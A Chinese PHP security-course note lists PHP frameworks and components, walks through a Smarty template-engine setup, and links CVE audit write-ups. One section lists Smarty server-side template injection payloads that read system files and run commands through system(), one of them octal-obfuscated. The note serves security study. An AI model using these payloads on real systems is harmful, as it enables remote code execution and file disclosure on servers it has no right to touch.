Web开发-PHP应用&组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计



#知识点：  
1、安全开发-原生PHP-超级全局变量  
2、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
0、安全开发-原生PHP-数据库通讯  
1、安全开发-原生PHP-身份验证技术  
2、安全开发-Cookie&Session&Token  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-弱类型脆弱  
2、安全开发-原生PHP-函数&数据类型  
3、安全开发-原生PHP-代码审计案例  
---------------------------------------------  
1、安全开发-原生PHP-开发组件集合  
2、安全开发-原生PHP-模版引擎渲染  
3、安全开发-原生PHP-第三方编辑器  
  
#章节点：(待补充)  
#具体点：(待补充)

|  |  |  |
| --- | --- | --- |
| **类别** | **组件/框架** | **说明** |
| **[Web框架]** | Laravel | 现代化、功能全面的框架，适合大多数Web应用。 |
|  | Symfony | 高度模块化、功能强大的框架，适合复杂应用。 |
|  | CodeIgniter | 轻量级框架，适合快速开发。 |
|  | Zend Framework (Laminas) | 企业级框架，适合大规模应用，具有高扩展性和性能。 |
|  | Yii | 高性能框架，适合快速开发和大规模应用。 |
| **[数据库组件]** | Doctrine ORM | 强大的ORM工具，支持复杂的查询和映射。 |
|  | Eloquent ORM | Laravel内置ORM，简化数据库操作。 |
|  | PDO | PHP的数据库抽象层，支持多种数据库引擎。 |
|  | RedBeanPHP | 轻量级ORM，自动创建和管理数据库表。 |
| **[模板引擎]** | Twig | 灵活、现代的模板引擎，常用于Symfony项目。 |
|  | Blade | Laravel内置模板引擎，支持模板继承和控制结构。 |
|  | Smarty | 经典模板引擎，适合中大型项目。 |
|  | Mustache | 轻量级跨语言模板引擎，支持PHP、JavaScript等。 |
| **[路由组件]** | FastRoute | 高性能PHP路由库，适用于小型应用和API。 |
|  | AltoRouter | 轻量级路由库，适合小型项目，易于配置。 |
|  | Symfony Routing | Symfony的路由组件，适合复杂应用。 |
| **[认证与授权]** | OAuth2 Server PHP | 实现OAuth2协议的PHP库，适用于API认证。 |
|  | JWT (JSON Web Token) | 轻量级身份验证方案，适合API认证。 |
|  | PHP-Auth | 简单的用户认证库，适用于中小型Web应用。 |
| **[支付集成]** | Stripe PHP SDK | 集成Stripe支付功能，支持信用卡支付、订阅等。 |
|  | PayPal SDK for PHP | 集成PayPal支付功能，支持支付、退款等。 |
| **[邮件发送]** | PHPMailer | 功能强大的邮件发送库，支持SMTP、POP3等协议。 |
|  | SwiftMailer | 另一款流行的邮件发送库，支持多种邮件功能。 |
|  | Mailgun PHP SDK | Mailgun的官方SDK，用于通过Mailgun API发送邮件。 |
| **[文件管理]** | Flysystem | 文件存储抽象库，支持多种存储方式（如本地、Amazon S3、FTP等）。 |
|  | Symfony Filesystem | Symfony的文件系统组件，提供简单的文件操作API。 |
|  | Intervention Image | 图片处理库，支持裁剪、调整大小、水印等功能。 |
| **[缓存与性能]** | Redis | 内存数据存储系统，用于缓存、消息队列等，提升性能。 |
|  | Memcached | 内存缓存系统，适用于高并发应用。 |
|  | Symfony Cache | Symfony缓存组件，支持多种缓存后端。 |
|  | Laravel Cache | Laravel内置缓存系统，提升Web应用性能。 |
| **[日志管理]** | Monolog | 强大的日志库，支持多种日志渠道（如文件、数据库、邮件等）。 |
|  | Log4PHP | Apache Log4j的PHP实现，适用于复杂日志功能。 |
| **[任务队列]** | Laravel Queue | Laravel内置队列系统，支持延迟任务、异步处理。 |
|  | Resque | 基于Redis的任务队列库，适用于异步任务处理。 |
|  | RabbitMQ | 开源消息代理服务，用于任务调度和消息传递。 |
| **[WebSocket与实时通信]** | Ratchet | 用于实现WebSocket服务，适合在线聊天、实时通信。 |
|  | Swoole | 高性能协程框架，支持WebSocket、TCP、UDP等协议，适用于高并发实时应用。 |
| **[测试与调试]** | PHPUnit | PHP标准单元测试框架，广泛用于自动化测试。 |
|  | Xdebug | PHP调试工具，支持堆栈跟踪、性能分析、断点调试等功能。 |
| **[富文本编辑器]** | **KindEditor** | 一个轻量级且功能丰富的富文本编辑器，支持图片上传、插入视频等，适用于PHP开发的Web项目。 |
|  | **TinyMCE** | 开源的富文本编辑器，支持多种格式的文本编辑，插件丰富，易于集成。 |
|  | **CKEditor** | 高度可定制的富文本编辑器，支持图片、文件上传、富文本格式化等功能，广泛用于Web项目中。 |
|  | **Froala Editor** | 轻量级、现代的富文本编辑器，支持图像处理、视频嵌入、内嵌富文本等，适合复杂的Web应用。 |
|  | **Quill** | 开源富文本编辑器，功能强大、轻量级，支持图片、视频、格式设置等功能，适合单页面应用。 |
|  | **Summernote** | 基于jQuery的轻量级富文本编辑器，支持文本格式化、图片上传等，适合中小型Web项目。 |
|  | **Trumbowyg** | 轻量级的富文本编辑器，功能简单但支持基本的文本编辑、图片上传、视频插入等。 |
|  | **Redactor** | 现代的富文本编辑器，功能丰富，支持图片、文件上传等，适合多种Web应用。 |
| **[图片上传组件]** | **Dropzone.js** | 支持拖拽上传和多文件上传的JavaScript库，易于与PHP集成，常用于图片、文件上传功能。 |
|  | **FilePond** | 高度可定制的文件上传库，支持图片预览、验证、上传进度等，适合需要精美上传功能的Web项目。 |
|  | **Fine Uploader** | 支持多种文件上传方式的组件，支持多文件上传、拖拽上传，支持PHP处理后台。 |
|  | **Plupload** | 支持多种文件上传方式（包括HTML5和Flash），可以与PHP后台集成，广泛用于Web应用中。 |
| **[图片处理组件]** | **ImageMagick** | 强大的图像处理库，支持图像格式转换、剪裁、旋转、加水印等多种功能，适用于PHP处理图像。 |
|  | **GD Library** | PHP内置图像处理库，支持图像创建、缩放、裁剪、色调调整等功能。 |
|  | **Intervention Image** | PHP图像处理库，支持裁剪、缩放、加水印等，易于与Laravel集成。 |

演示案例：

* WEB开发-原生PHP-超级全局变量
* WEB开发-原生PHP-代码审计案例
* WEB开发-原生PHP-通讯数据库
* WEB开发-Cookie&Session&Token
* WEB开发-身份验证-代码审计案例
* WEB开发-弱类型&函数-特性安全
* WEB开发-数据对比-代码审计案例
* WEB开发-Smarty模版&插件编辑器
* WEB开发-模版&插件-代码审计案例

1、模版引擎   
在开始介绍Smarty之前先了解一下模板引擎，模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案，简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则，我们只需在html文件写好Smarty的标签即可，例{name}，然后调用Smarty的方法传递变量参数即可。  
  
模版使用案例：  
Php模版框架：Smarty、Twig，codeeval等  
python模版框架：jinja2、mako、tornad、Django等  
Java模版框架：Thymeleaf、jade、velocity、FreeMarker等  
JavaScript模版框架：doT，Nunjucks，Pug，Marko，EJS，Dust等  
  
安全漏洞影响：  
SSTI（Server Side Template Injection，服务器端模板注入）  
  
下载：https://github.com/smarty-php/smarty/releases  
使用：  
1、创建一个文件夹，命名为smarty-demo。  
2、下载Smarty对应版本并解压缩到该文件夹中。  
3、创建一个PHP文件，命名为index.php，并在文件中添加以下代码：  
<?php  
// 引入 Smarty 类文件  
require('smarty-demo/libs/Smarty.class.php');  
// 创建 Smarty 实例  
$smarty = new Smarty;  
// 设置 Smarty 相关属性  
$smarty->template\_dir = 'smarty-demo/templates/';  
$smarty->compile\_dir = 'smarty-demo/templates\_c/';  
$smarty->cache\_dir = 'smarty-demo/cache/';  
$smarty->config\_dir = 'smarty-demo/configs/';  
// 赋值变量到模板中  
$smarty->assign('title', '欢迎使用 Smarty');  
// 显示模板  
$smarty->display('index.tpl');  
?>  
4、创建一个名为index.tpl的模板文件，并将以下代码复制到上述点定义文件夹中  
<!DOCTYPE html>  
<html>  
<head>  
<title>{$title}</title>  
</head>  
<body>  
<h1>{$title}</h1>  
<p>这是一个使用 Smarty 的例子。</p>  
</body>  
</html>  
  
#渲染文件受控  
CVE参考：  
https://xz.aliyun.com/t/11108  
https://www.cnblogs.com/magic-zero/p/8351974.html  
  
\*/phpinfo();//  
string:{include file='C:/Windows/win.ini'}  
string:{function name='x(){};system(whoami);function '}{/function}  
string:{$smarty.template\_object->smarty->\_getSmartyObj()->display('string:{system(whoami)}')}  
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}  
  
2、插件组件  
编辑器,邮箱，图片处理等（见上图）  
使用:  
https://www.cnblogs.com/qq350760546/p/6669112.html  
参考：  
https://www.cnblogs.com/linglinglingling/p/18040866  
https://blog.csdn.net/weixin\_58099903/article/details/125810825  
  
3、案例：  
代码审CMS:(由第三方应用引用导致安全问题)  
-网钛（OTCMS）：  
https://xz.aliyun.com/t/13432  
-Kindeditor：https://www.cnblogs.com/TaoLeonis/p/14899198.html

涉及资源：[资源下载地址](https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr)